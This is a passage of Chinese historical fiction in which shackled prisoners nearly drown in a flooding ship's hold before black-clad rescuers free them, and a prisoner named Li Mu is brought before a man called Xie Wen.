都说上善若水，这缓缓填满船舱的水却有种鬼祟之气，引得一个舱室的囚犯们皆开始声嘶力竭地哀嚎着。慢慢地，水没过他们的嘴巴，众人噤了声，鼻子里吐着气，时不时发出呜咽的声响。 水仍在往舱底灌着，不知疲倦地，这些囚徒也不知疲倦地挣扎着，但任凭他们如何甩动手腕，那枷锁仍嵬然不动。 于是水继续往上攀，攀过几人的鼻尖，那几人慢慢没了声响，几个个子高的囚犯奋力伸长了脖子，感受着水像阴凉的蛇一样缓缓圈住脖颈，船舱里陷入一片死寂…… 这时，船舱上方突然透出一丝光亮，原来舱门竟开在上层的地板处。几个身着黑衣之人翻身跳进水里，用钥匙将囚犯们的枷锁打开，将他们一个个地拽了上去。 一个囚犯被甩到地上，借着力道狠狠从肺里挤出一口水，只不过水吐出去以后，他已经是出气多进气少。 此人感觉自己被人架起两只胳膊拖行了出去，时而苏醒时而昏迷，不知过去了多久，似乎感受到了屋子里炭火的暖意，他倏然睁开了眼。 发觉自己这十几天来第一次趴在了坚实的地板上，囚犯心中正想舒口气，却听背后有两个脚步声靠近，一个年轻的男声道：“郎君，这应当就是那李穆。” 李穆看见一双黑色的油膀夹靴缓缓走向了自己，勉力想抬头往上瞧，此时，那个被唤作郎君的男子的声音自上方传来，即便暖炉在侧，仍旧让他浑身泛凉。 “将他扶到椅子上去。”谢闻皱眉道。